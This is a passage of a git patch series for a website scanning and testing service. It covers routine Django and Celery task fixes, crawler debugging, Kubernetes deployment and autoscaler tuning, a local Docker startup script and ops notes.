@@ -428,7 +430,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
 
             create_scan.delay(
-                page_id=page.id,
+                page_id=str(page.id),
                 type=type,
                 configs=configs,
                 tags=tags,
@@ -607,6 +609,8 @@ def create_test(
     Returns -> None
     """
 
+    print(f'page_id for testing -> {page_id}')
+
     # setting defaults
     created_test = None
 
@@ -815,7 +819,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
                 # create test
                 create_test.delay(
-                    page_id=page.id,
+                    page_id=str(page.id),
                     type=type,
                     configs=configs,
                     tags=tags,
@@ -829,15 +833,15 @@ def create_test_bg(self, *args, **kwargs) -> None:
     if test_id:
         test = Test.objects.get(id=test_id)
         create_test.delay(
-            test_id=test_id,
-            page_id=test.page.id,
+            test_id=str(test_id),
+            page_id=str(test.page.id),
             type=type,
             configs=configs,
             tags=tags,
             threshold=float(threshold),
             pre_scan=pre_scan,
             post_scan=post_scan,
-            automation_id=automation_id
+            automation_id=str(automation_id)
         )
 
     # update schedule if task_id is not None

From ae46c3e7609473398d285ecf7e6196c278adbe20 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 19:42:33 -0600
Subject: [PATCH 717/752] removed debuging statements

---
 app/api/tasks.py             | 49 ++++++++++++++----------------------
 k8s/prod/ylt-autoscaler.yaml |  4 +--
 2 files changed, 21 insertions(+), 32 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 6f37cdd6..03edcfa3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -301,8 +301,6 @@ def create_scan(
     Returns -> None
     """
 
-    print(f'page_id for scanning -> {page_id}')
-
     # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
@@ -379,7 +377,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     pages.append(
                         Page.objects.get(id=item['id'])
                     )
-                    print(f'pages added -> {pages}')
                 except Exception as e:
                     print(e)
             
@@ -389,7 +386,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                     sites.append(
                         Site.objects.get(id=item['id'])
                     ) 
-                    print(f'sites added -> {sites}')
                 except Exception as e:
                     print(e)
     
@@ -404,12 +400,10 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
-        print(f'trying to scan page -> {page.page_url}')
+        
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
 
-            print(f'allowed to create new Scan')
-
             # updating latest_scan info for page
             page.info['latest_scan']['id'] = 'placeholder'
             page.info['latest_scan']['time_created'] = str(timezone.now())
@@ -418,17 +412,13 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             page.info['latest_scan']['score'] = None
             page.save()
 
-            print('updated page info')
-
             # updating latest_scan info for site
             page.site.info['latest_scan']['id'] = 'placeholder'
             page.site.info['latest_scan']['time_created'] = str(timezone.now())
             page.site.info['latest_scan']['time_completed'] = None
             page.site.save()
 
-            print('updated site info')
-
-
+            # init scan in bg
             create_scan.delay(
                 page_id=str(page.id),
                 type=type,
@@ -436,8 +426,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 tags=tags,
                 automation_id=automation_id
             )
-
-            print('init new bg scan')
     
     # update schedule if task_id is not None
     if task_id:
@@ -609,8 +597,6 @@ def create_test(
     Returns -> None
     """
 
-    print(f'page_id for testing -> {page_id}')
-
     # setting defaults
     created_test = None
 
@@ -1411,22 +1397,25 @@ def create_testcase_bg(*args, **kwargs) -> None:
 
         # iterate through sites
         for site in sites:
+
+            # check and increment resource
+            if check_and_increment_resource(site.account, 'testcase'):
     
-            # create new testcase
-            _testcase = Testcase.objects.create(
-                case = case,
-                case_name = case.name,
-                site = site,
-                user = site.user,
-                account = site.account,
-                configs = configs,
-                steps = steps
-            )
+                # create new testcase
+                _testcase = Testcase.objects.create(
+                    case = case,
+                    case_name = case.name,
+                    site = site,
+                    user = site.user,
+                    account = site.account,
+                    configs = configs,
+                    steps = steps
+                )
 
-            # add to list
-            testcases.append(
-                _testcase
-            )
+                # add to list
+                testcases.append(
+                    _testcase
+                )
 
     # iterate through testcases and run
     for testcase in testcases:
diff --git a/k8s/prod/ylt-autoscaler.yaml b/k8s/prod/ylt-autoscaler.yaml
index 9eba03e6..7f9203d0 100644
--- a/k8s/prod/ylt-autoscaler.yaml
+++ b/k8s/prod/ylt-autoscaler.yaml
@@ -8,10 +8,10 @@ spec:
   cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
-  maxReplicaCount: 15
+  maxReplicaCount: 7
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "10"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "working_len"
\ No newline at end of file

From c65093ecdf2e16284a50e55d17993c8eed2325f1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 17 Sep 2024 20:18:20 -0600
Subject: [PATCH 718/752] more automater fixes

---
 app/api/utils/automater.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 6779dd46..4e9398b2 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -91,7 +91,7 @@ def build_exp_list(self) -> None:
             operator = ' == '
             joiner = ''
             data_type = 'self.object.passed'
-            value = str(expression['value'])
+            value = f"str({str(expression['value'])})"
 
             # getting data
             if self.object:

From ba61fccae1ed004a63aeb7e8a463e6da418742f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 07:37:56 -0600
Subject: [PATCH 719/752] fixed testcase incrementation

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 03edcfa3..09fb0412 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1399,7 +1399,7 @@ def create_testcase_bg(*args, **kwargs) -> None:
         for site in sites:
 
             # check and increment resource
-            if check_and_increment_resource(site.account, 'testcase'):
+            if check_and_increment_resource(site.account, 'testcases'):
     
                 # create new testcase
                 _testcase = Testcase.objects.create(

From 6849966ecb294ee41ac728981ffadae459192b13 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:08:43 -0600
Subject: [PATCH 720/752] fixing issues with reset_account_usage()

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 09fb0412..6df7f880 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1483,7 +1483,7 @@ def reset_usage(account):
     for account in accounts:
 
         # check if account is active and not free
-        if account.active and account.type != 'free':
+        if account.active and account.type != 'free' and account.sub_id != None:
                 
             # get stripe sub
             sub = stripe.Subscription.retrieve(

From f847eed6a312f077a170f28f91826b442fc365af Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:31:22 -0600
Subject: [PATCH 721/752] testing crawler issues

---
 app/api/utils/crawler.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index a84edff2..54f9d226 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -75,6 +75,8 @@ def url_is_valid(url: str=None) -> bool:
 
         def crawl_url(start_url: str=None, max_depth: int=5):
 
+            print(f'starting crawl on -> {start_url}')
+
             # adding url to list of crawled_urls
             crawled_urls.append(start_url)
             
@@ -111,6 +113,7 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                         
                         # check status of page
                         self.driver.get(url)
+
                         # wait for page to load
                         resolved = driver_wait(
                             driver=self.driver,

From 0c8be716da4f90a9c0b3d1422e415ed8c245a580 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:38:23 -0600
Subject: [PATCH 722/752] debugging crawler

---
 app/api/utils/crawler.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 54f9d226..6aadd3b6 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -114,6 +114,8 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                         # check status of page
                         self.driver.get(url)
 
+                        print(f'looped to this url -> {url}')
+
                         # wait for page to load
                         resolved = driver_wait(
                             driver=self.driver,

From bb16ea630c3b1dd36f66183f74fcd0788bcde6a9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:47:59 -0600
Subject: [PATCH 723/752] debugging crawler

---
 app/api/utils/crawler.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 6aadd3b6..9a86e57c 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -125,12 +125,15 @@ def crawl_url(start_url: str=None, max_depth: int=5):
 
                         # skipping url if not responding
                         if not resolved:
+                            print('not resolved')
                             continue
                         
                         # clean and decide to record url
+                        print(f'{self.driver.current_url} == {url}')
                         if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
+                                print(f'stripped url -> {url}')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
                                 depth += 1

From 0a45b6d95a470a17eb5ec0a72c5058cfba9cd53f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 14:59:49 -0600
Subject: [PATCH 724/752] still testing

---
 app/api/utils/crawler.py | 4 +---
 setup/scripts/local.sh   | 7 ++++++-
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 9a86e57c..e636e26f 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -129,11 +129,9 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                             continue
                         
                         # clean and decide to record url
-                        print(f'{self.driver.current_url} == {url}')
-                        if self.driver.current_url == url:
+                        if str(self.driver.current_url) == str(url):
                             if url.endswith('/'):
                                 url = url.rstrip('/')
-                                print(f'stripped url -> {url}')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
                                 depth += 1
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index cd28df00..5d1555a3 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,9 +1,14 @@
 #!/bin/bash
 
 cd $HOME/documents/coding/scanerr/server &&
-{
+{   
+    docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&
     docker compose -f docker-compose.local.yml up --build
 } || {
     docker compose -f docker-compose.local.yml up --build
 }
+
+
+
+https://stachespaces.com/blog == https://stachespaces.com/blog
\ No newline at end of file

From b547c236e710b8e72d5f95cb1ff61249dac11778 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:00:58 -0600
Subject: [PATCH 725/752] fixed script

---
 setup/scripts/local.sh | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 5d1555a3..12fe840f 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -9,6 +9,3 @@ cd $HOME/documents/coding/scanerr/server &&
     docker compose -f docker-compose.local.yml up --build
 }
 
-
-
-https://stachespaces.com/blog == https://stachespaces.com/blog
\ No newline at end of file

From c96482b1336c59654ebd9c7bd56aad5209ea6194 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:58:01 -0600
Subject: [PATCH 726/752] fixing automation_id issue

---
 app/api/utils/scanner.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index f0aa96b4..2034ff21 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -318,7 +318,7 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
             print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
-            if automation_id:
+            if automation_id is not None and automation_id != 'None':
                 print('running automation from `scanerr.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 

From 0847f464cc43ba18ae2fdc39c53000eeef03379a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 15:58:11 -0600
Subject: [PATCH 727/752] added new command

---
 notes/Kubernetes.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 6f2ab352..ea6066cf 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -191,6 +191,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
    - `kubectl logs -f --all-containers deployment/celery-deployment`
+   - `kubectl logs -f --selector=app=celery-deployment --all-containers`
 
 
 

From 2a384e1903dc8eb31b0274d3e556383f0a9bb9f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 20:30:28 -0600
Subject: [PATCH 728/752] testing new k8s configs

---
 app/api/management/commands/check_celery_tasks.py | 1 +
 k8s/prod/celery-deployment.yaml                   | 8 ++++----
 notes/Kubernetes.md                               | 2 +-
 setup/scripts/local.sh                            | 8 +++++++-
 4 files changed, 13 insertions(+), 6 deletions(-)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/check_celery_tasks.py
index 57221864..c2d35ff9 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/check_celery_tasks.py
@@ -20,6 +20,7 @@ def get_task_list():
             active = i.active()[this_pod]
             print(f'Active tasks -> {str(reserved)}')
             tasks = len(active) + len(reserved)
+            return int(tasks)
         
         # get length of active and reserved task lists
         tasks = get_task_list()
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 90f8eb5a..246c842b 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:20d9159 # 
+          image: <IMAGE> # scanerr/server:facff34 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -33,10 +33,10 @@ spec:
           resources:
             limits:
               cpu: "1"
-              memory: "4Gi"
+              memory: "5Gi"
             requests:
-              cpu: ".5"
-              memory: "1Gi"
+              cpu: "1"
+              memory: "2Gi"
           lifecycle:
             preStop:
               exec:
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index ea6066cf..f01183e1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -140,7 +140,7 @@ kubectl apply -f ./k8s/prod/beat-deployment.yaml
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
 ``` shell
 kubectl apply -f ./k8s/prod/ylt-deployment.yaml
-kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml
+kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml # DEPRECIATE
 ```
 
 
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 12fe840f..441257ec 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,10 +1,16 @@
 #!/bin/bash
 
-cd $HOME/documents/coding/scanerr/server &&
+# ensure you create $SCANERR_ROOT first:
+#  echo 'export SCANERR_ROOT=<your/path/to/scanerr/root>' >> ~/.zshrc   (or ~/.bash_profile)
+
+cd $SCANERR_ROOT/server &&
 {   
     docker compose -f docker-compose.local.yml down &&
     docker volume rm server_app server_beat server_celery &&
     docker compose -f docker-compose.local.yml up --build
+} || {
+    docker volume rm server_app server_beat server_celery &&
+    docker compose -f docker-compose.local.yml up --build
 } || {
     docker compose -f docker-compose.local.yml up --build
 }

From 28f68756727c67f8eccf1612bdeda682b3bca9ae Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 18 Sep 2024 20:49:04 -0600
Subject: [PATCH 729/752] updating preStop command

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 246c842b..d6b1a459 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -40,4 +40,4 @@ spec:
           lifecycle:
             preStop:
               exec:
-                command: ["python3 manage.py check_celery_tasks"]
\ No newline at end of file
+                command: ["python3", "manage.py", "check_celery_tasks"]
\ No newline at end of file

From f25fcbcb192240a2ed0a8897a7f9672056f327dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 19 Sep 2024 11:23:20 -0600
Subject: [PATCH 730/752] testing new celery configs

---
 .../{check_celery_tasks.py => terminate_worker.py} | 14 +++++++++++---
 app/scanerr/celery.py                              | 11 ++++++++++-
 k8s/prod/celery-deployment.yaml                    |  8 ++++----
 notes/Kubernetes.md                                |  2 +-
 4 files changed, 26 insertions(+), 9 deletions(-)
 rename app/api/management/commands/{check_celery_tasks.py => terminate_worker.py} (67%)

diff --git a/app/api/management/commands/check_celery_tasks.py b/app/api/management/commands/terminate_worker.py
similarity index 67%
rename from app/api/management/commands/check_celery_tasks.py
rename to app/api/management/commands/terminate_worker.py
index c2d35ff9..62598911 100644
--- a/app/api/management/commands/check_celery_tasks.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -8,17 +8,25 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
-        this_pod = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+        # get celery worker
+        this_worker = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
+        
+        # sending initial SIGTERM to celery worker for warm-shutdown
+        celery.app.control.broadcast('shutdown', destination=[this_worker])
 
         def get_task_list():
             # Inspect all nodes.
             i = celery.app.control.inspect()
+            
             # Tasks received, but are still waiting to be executed.
-            reserved = i.reserved()[this_pod]
+            reserved = i.reserved()[this_worker]
             print(f'Reserved tasks -> {str(reserved)}')
+            
             # Active tasks
-            active = i.active()[this_pod]
+            active = i.active()[this_worker]
             print(f'Active tasks -> {str(reserved)}')
+            
+            # Sum all tasks
             tasks = len(active) + len(reserved)
             return int(tasks)
         
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index c014b861..bc89c01b 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -1,5 +1,6 @@
 from __future__ import absolute_import, unicode_literals
 from celery import Celery
+from celery.signals import worker_shutdown
 from django.conf import settings
 import scanerr, os
 
@@ -23,6 +24,7 @@
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
+    worker_cancel_long_running_tasks_on_connection_loss=True,
 )
 
 # setting tasks to auto-discover
@@ -31,5 +33,12 @@
 # setting debug
 @app.task(bind=False)
 def debug_task(self):
-    print('Request: {0!r}'.format(self.request))
+    print(f'Request: {self.request}')
+
+# notify of SIGTERM
+@worker_shutdown.connect
+def on_worker_shutdown(**kwargs):
+    print(f'- WORKER SHUTTING DOWN - \n\n{kwargs}')
+    
+
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index d6b1a459..8d0f17ff 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,12 +14,12 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 30
+      terminationGracePeriodSeconds: 300
       imagePullSecrets:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # scanerr/server:facff34 # 
+          image: <IMAGE> # scanerr/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -33,11 +33,11 @@ spec:
           resources:
             limits:
               cpu: "1"
-              memory: "5Gi"
+              memory: "3.5Gi"
             requests:
               cpu: "1"
               memory: "2Gi"
           lifecycle:
             preStop:
               exec:
-                command: ["python3", "manage.py", "check_celery_tasks"]
\ No newline at end of file
+                command: ["python3", "manage.py", "terminate_worker"]
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index f01183e1..a40de1c5 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -191,7 +191,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
    - `kubectl logs -f --all-containers deployment/celery-deployment`
-   - `kubectl logs -f --selector=app=celery-deployment --all-containers`
+   - `kubectl logs -f --selector=app=celery-deployment --all-containers --max-log-requests=7`
 
 
 

From cf4de6568605af92e8dd5c7da6a3d2a299642d99 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 14:01:36 -0600
Subject: [PATCH 731/752] rolling out new version fixes

---
 Dockerfile                                    |   4 +-
 app/api/admin.py                              |  17 +-
 app/api/management/commands/create_admin.py   |   6 +
 app/api/management/commands/driver_test.py    |   6 +-
 .../management/commands/terminate_worker.py   |  55 +-
 app/api/management/commands/wait_for_db.py    |   7 +-
 app/api/models.py                             |   5 +-
 app/api/tasks.py                              | 632 ++++++++++++------
 app/api/utils/alerts.py                       |  19 +-
 app/api/utils/automater.py                    |   6 +-
 app/api/utils/caser.py                        |  94 +--
 app/api/utils/imager.py                       |  45 +-
 app/api/utils/issuer.py                       |   4 +-
 app/api/utils/scanner.py                      |  94 +--
 app/api/v1/ops/serializers.py                 |  12 +-
 app/api/v1/ops/services.py                    |  30 +-
 app/scanerr/celery.py                         |   5 +-
 k8s/prod/celery-deployment.yaml               |   5 +
 notes/Kubernetes.md                           |   4 +-
 19 files changed, 691 insertions(+), 359 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 636db26c..64a58d79 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -91,10 +91,10 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/local/bin/lighthouse
 RUN chown -R app:app /usr/local/bin/yellowlabtools
 
-# make migrations file
+# writing migrations file
 RUN python3.12 manage.py makemigrations --no-input
 
-# collect static assets
+# collecting static assets
 RUN python3.12 manage.py collectstatic --no-input
 
 # cleaning up
diff --git a/app/api/admin.py b/app/api/admin.py
index cb008618..8877f97f 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -8,7 +8,10 @@
     delete_case, delete_testcase,
     crawl_site
 )
-from .tasks import reset_account_usage
+from .tasks import (
+    reset_account_usage, 
+    update_scan_score
+)
 
 
 
@@ -50,7 +53,7 @@ class CardAdmin(admin.ModelAdmin):
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
-    search_fields = ('site_url',)
+    search_fields = ('site_url', 'account')
     actions = ['scan_sites', 'test_sites', 'delete_sites', 'crawl_sites']
 
     def crawl_sites(self, request, queryset):
@@ -87,7 +90,7 @@ def delete_sites(self, request, queryset):
 @admin.register(Page)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
-    search_fields = ('page_url',)
+    search_fields = ('page_url', 'account')
     actions = ['scan_pages', 'test_pages', 'delete_pages',]
 
     def scan_pages(self, request, queryset):
@@ -133,7 +136,7 @@ def delete_tests(self, request, queryset):
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page',)
-    actions = ['delete_scans', 'mark_as_completed',]
+    actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ] # NEW!!!
 
     def delete_scans(self, request, queryset):
         for scan in queryset:
@@ -141,6 +144,12 @@ def delete_scans(self, request, queryset):
                 id=scan.id,
                 account=scan.page.account
             )
+    
+    def add_scan_score(self, request, queryset): # NEW!!!
+        for scan in queryset:
+            update_scan_score.delay(
+                scan_id=scan.id
+            )
 
     def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 77c68bd6..e5f9a9c5 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -5,6 +5,12 @@
 from ...utils.verify import verify
 import os
 
+
+
+
+
+
+# creates a new Admin user if None exists
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py
index d72df774..1fe02b82 100644
--- a/app/api/management/commands/driver_test.py
+++ b/app/api/management/commands/driver_test.py
@@ -1,8 +1,12 @@
 from ...utils.driver import driver_test
 from django.core.management.base import BaseCommand
 
-# testing selenium, chromedriver, and chromium installation and configs
 
+
+
+
+
+# testing selenium, chromedriver, and chromium installation and configs
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
diff --git a/app/api/management/commands/terminate_worker.py b/app/api/management/commands/terminate_worker.py
index 62598911..84804dfb 100644
--- a/app/api/management/commands/terminate_worker.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -2,19 +2,47 @@
 from django.core.management.base import BaseCommand
 import time, os
 
-# checking if celery tasks have completed running
 
+
+
+
+
+# init warm shutdown (prevent new task acceptance) 
 class Command(BaseCommand):
 
     def handle(self, *args, **options):
 
+        # get worker / pod name
+        default_worker = 'scanerr-celery'
+        if os.environ.get('THIS_POD_NAME'):
+            default_worker = str(os.environ.get('THIS_POD_NAME'))
+
         # get celery worker
-        this_worker = f"celery@{str(os.environ.get('THIS_POD_NAME'))}"
-        
+        this_worker = f"celery@{default_worker}"
+
         # sending initial SIGTERM to celery worker for warm-shutdown
         celery.app.control.broadcast('shutdown', destination=[this_worker])
 
-        def get_task_list():
+
+
+
+# check if current tasks have completed
+def wait_for_tasks_to_complete():
+
+    # get worker / pod name
+    default_worker = 'scanerr-celery'
+    if os.environ.get('THIS_POD_NAME'):
+        default_worker = str(os.environ.get('THIS_POD_NAME'))
+
+    # get celery worker
+    this_worker = f"celery@{default_worker}"
+
+    def get_task_list():
+    
+        # set default 
+        tasks = 0
+
+        try:
             # Inspect all nodes.
             i = celery.app.control.inspect()
             
@@ -28,14 +56,19 @@ def get_task_list():
             
             # Sum all tasks
             tasks = len(active) + len(reserved)
-            return int(tasks)
         
-        # get length of active and reserved task lists
-        tasks = get_task_list()
+        except Exception as e:
+            print(e)
+
+        # return tasks count
+        return int(tasks)
 
-        # waiting for tasks to complete
-        while tasks > 0:
-            time.sleep(10)
-            tasks = get_task_list()
+    # get length of active and reserved task lists
+    tasks = get_task_list()
+
+    # waiting for tasks to complete
+    while tasks > 0:
+        time.sleep(10)
+        tasks = get_task_list()
 
         
\ No newline at end of file
diff --git a/app/api/management/commands/wait_for_db.py b/app/api/management/commands/wait_for_db.py
index c5edb897..def8f534 100644
--- a/app/api/management/commands/wait_for_db.py
+++ b/app/api/management/commands/wait_for_db.py
@@ -3,8 +3,13 @@
 from django.db.utils import OperationalError
 from django.core.management import BaseCommand
 
+
+
+
+
+
+# Django command to pause execution until db is available
 class Command(BaseCommand):
-    """Django command to pause execution until db is available"""
 
     def handle(self, *args, **options):
         self.stdout.write('Waiting for database...')
diff --git a/app/api/models.py b/app/api/models.py
index d836840b..a275773e 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -369,6 +369,7 @@ class Scan(models.Model):
     html = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs = models.JSONField(serialize=True, null=True, blank=True)
     images = models.JSONField(serialize=True, null=True, blank=True)
+    score = models.FloatField(serialize=True, null=True, blank=True)
     lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default)
     yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default)
     configs = models.JSONField(serialize=True, null=True, blank=True)
@@ -432,11 +433,11 @@ class Testcase(models.Model):
     user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
+    case_name = models.CharField(max_length=500, null=True, blank=True, serialize=True) 
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
-    passed = models.BooleanField(default=False, serialize=True)
+    status = models.CharField(max_length=20, default='working', null=True, blank=True, serialize=True) 
     steps = models.JSONField(serialize=True, null=True, blank=True)
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 6df7f880..545e9a90 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -234,6 +234,202 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
 
 
 
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def update_site_and_page_info(
+        self,
+        resource: str='all',
+        site_id: str=None, 
+        page_id: str=None,
+    ) -> None:
+    """ 
+    Updates the site and or page `latest_scan` & `latest_test` info 
+    depending on scope.
+
+    Expects: {
+        "resource" : str (OPTIONAL),
+        "site_id"  : str (OPTIONAL),
